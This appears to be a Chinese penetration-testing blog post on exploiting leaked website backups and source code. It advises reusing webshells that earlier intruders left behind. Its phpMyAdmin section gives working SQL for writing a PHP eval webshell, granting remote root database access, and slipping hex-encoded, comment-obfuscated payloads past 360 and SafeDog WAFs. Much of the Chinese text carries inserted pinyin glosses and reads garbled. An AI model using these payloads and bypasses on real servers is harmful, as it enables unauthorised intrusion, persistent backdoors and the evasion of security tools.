網(wǎng)安教育
培養(yǎng)網(wǎng)絡(luò)安全人才
技術(shù)交流、學(xué)習(xí)咨詢
滲透測(cè)試中,我們信息收集過程中有些時(shí)候會(huì)掃到網(wǎng)站的備份文件,或者通過git、svn等信息泄露獲得網(wǎng)站的源碼。以下我提供幾個(gè)自己在滲透測(cè)試過程中遇到備份文件或者網(wǎng)站源碼之后的幾個(gè)思路。
1、 使用webshellkill等webshell查殺工具進(jìn)行源碼查殺
這一步可以獲取網(wǎng)站源碼里面已有的webshell,可以直接去連接webshell,說(shuō)明有前人已經(jīng)替你打好那些常規(guī)的滲透,你只需借助前人的肩膀繼續(xù)深入滲透就可以了。古人誠(chéng),不欺我,站在巨人的肩膀上才能有更高的成就。
網(wǎng)站備份可以掃到webshell的原因有以下幾方面:
a、網(wǎng)站搭建選擇模板的時(shí)候,沒有從正規(guī)網(wǎng)站進(jìn)行下載,而是使用了別人傳到網(wǎng)上帶有后門的模板
這算是供應(yīng)鏈攻擊的一種形式吧,畢竟黑產(chǎn)從業(yè)人員很多人都以類似的方式掌握大量的網(wǎng)站權(quán)限進(jìn)行二次倒賣網(wǎng)站權(quán)限牟利。
類似案例:phpstudy后門事件
黑客將二次修改之后裝有后門的phpstudy放到各個(gè)軟件平臺(tái)供網(wǎng)站開發(fā)者下載使用,控制大量肉雞。
詳情:https://xz.aliyun.com/t/6423
b、網(wǎng)站已經(jīng)被先來(lái)的黑客控制
這種情況,在滲透過程中遇到的比較多,常常是你滲透的目標(biāo)已經(jīng)成為別人的肉雞,而你這時(shí)掃描到前人留下的后門,可以省下很多精力。
暫未找到類似案例
c、網(wǎng)站所用模板官方的后門
這個(gè)說(shuō)實(shí)話,如果真的是官方留下的后門,一般來(lái)說(shuō)很難被常規(guī)的webshell查殺工具殺出來(lái),因?yàn)楣俜郊热桓伊艉箝T,就說(shuō)明他們的后門一定經(jīng)過免殺,一般殺軟殺不到,這種需要借助代碼審計(jì)來(lái)識(shí)別。
類似案例:php input后門。
2、 查看數(shù)據(jù)庫(kù)相關(guān)信息
phpmyadmin、adminer等在線數(shù)據(jù)庫(kù)連接工具
通過網(wǎng)站數(shù)據(jù)庫(kù)連接文件,我們可以找到網(wǎng)站的數(shù)據(jù)庫(kù)地址、賬號(hào)、密碼等信息,如果網(wǎng)站有phpmyadmin、adminer等在線數(shù)據(jù)庫(kù)連接管理工具,我們就可以直接用數(shù)據(jù)庫(kù)賬號(hào)密碼登陸進(jìn)行webshell上傳。
phpmyadmin常用getshell方法:
數(shù)據(jù)庫(kù)導(dǎo)出webshell
a、導(dǎo)出WebShell主要條件:
1)Root數(shù)據(jù)庫(kù)用戶(root權(quán)限)
2.)網(wǎng)站絕對(duì)路徑(確定有寫入權(quán)限)
3)magic_quotes_gpc:Off(關(guān)閉)
b、導(dǎo)出WebShell其它條件:
1)magic_quotes_gpc:開啟時(shí),會(huì)對(duì)’單引號(hào)進(jìn)行轉(zhuǎn)義,使其變成“\”反斜杠。
2)secure_file_priv:此配置項(xiàng)用來(lái)完成對(duì)數(shù)據(jù)導(dǎo)入導(dǎo)出的限制,如允許導(dǎo)入導(dǎo)出到指定目錄。
3)file_priv:file_priv權(quán)限允許你用load_file、into outfile讀和寫服務(wù)器上的文件,任何被授予這個(gè)權(quán)限的用戶都能讀和寫服務(wù)器的任何文件。
相關(guān)操作語(yǔ)句:
into outfile方式: select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/webshell.php';
into loadfile方式:select '<?php @eval($_POST[pass]);?>' into loadfile 'c:/phpstudy/www/webshell.php';
into dumpfile方式:select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:/phpstudy/www/webshell.php';
phpmyadmin日志文件寫shell
show global variables like '%genera%'; //查詢general_log配置
set global general_log='on'; //開啟general log模式
SET global general_log_file='C:/phpStudy/WWW/webshell.php'; //設(shè)置日志文件保存路徑
SELECT '<?php @eval($_POST[pass]);?>'; //phpinfo()寫入日志文件
set global general_log='off'; //關(guān)閉general_log模式
繞過殺軟寫shell
當(dāng)有WAF攔截的時(shí)候 我們可以嘗試外鏈 這樣提交的數(shù)據(jù)包不被WAF攔截
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option; //開啟MySQL外鏈
flush privileges; //刷新MySQL系統(tǒng)權(quán)限相關(guān)表
這里的這些技巧是從別人那邊收集過來(lái)的 感謝?。。?br>繞過360 (通過內(nèi)聯(lián)注釋)
select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';
繞過網(wǎng)站安全狗<4.0 (通過hex編碼)
select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
繞過安全狗4.0 通過hex編碼+內(nèi)聯(lián)注釋
/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
繞過其他
繞過server_sql.php、tbl_sql.php、db_sql.php + 安全狗導(dǎo)出WebShell
以上的三個(gè)文件的作用是(執(zhí)行SQL語(yǔ)句)
但是如果被刪除了可以通過以下的方法
(1)token需要
(2)自己選擇一個(gè)數(shù)據(jù)庫(kù)和數(shù)據(jù)表
(3)參數(shù)pos=0
&sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
例如 http://127.0.0.1/phpmyadmin/sql.php?db=數(shù)據(jù)庫(kù)名&token=token值&table=數(shù)據(jù)表名&pos=0&sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
3、代碼審計(jì)
這點(diǎn)主要針對(duì)網(wǎng)站根據(jù)開源cms進(jìn)行二次開發(fā),或者閉源軟件,自研軟件等往往有好的效果??梢越柚◣煹拇a審計(jì)系統(tǒng)進(jìn)行簡(jiǎn)單的自動(dòng)化審計(jì),著重看上傳點(diǎn)、sql注入點(diǎn)、RCE點(diǎn),找到那些明顯沒有過濾的點(diǎn),直接進(jìn)行突破。
這種方法針對(duì)不會(huì)代碼審計(jì)的人也有很好的效果,往往一個(gè)上傳點(diǎn),稍微一看就能突破,比較簡(jiǎn)單。
針對(duì)代碼審計(jì)大牛更是不在話下。
4、查找各種tools、密碼等信息
有些網(wǎng)站會(huì)有一些功能之外的tools,方便網(wǎng)站管理員進(jìn)行各種操作,這些往往都是一個(gè)php文件,密碼就內(nèi)嵌在代碼之中,翻到之后直接可以登錄使用。
類似案例:
· 帝國(guó)備份王getshell
· Discuz版本轉(zhuǎn)換工具getshell
· ewebeditor編輯器getshell
等等···
備份文件在我們滲透過程中還是比較常見的,在此謹(jǐn)提供一些我自己的思路,如果大佬還有其他騷思路,歡迎不吝賜教!
一些文中提到的工具:
D盾webshell查殺:http://www.d99net.net/down/WebShellKill_V1.2.9.zip
seay代碼審計(jì)系統(tǒng):https://www.waitalone.cn/seay-source-code-auditv2.html
聯(lián)系客服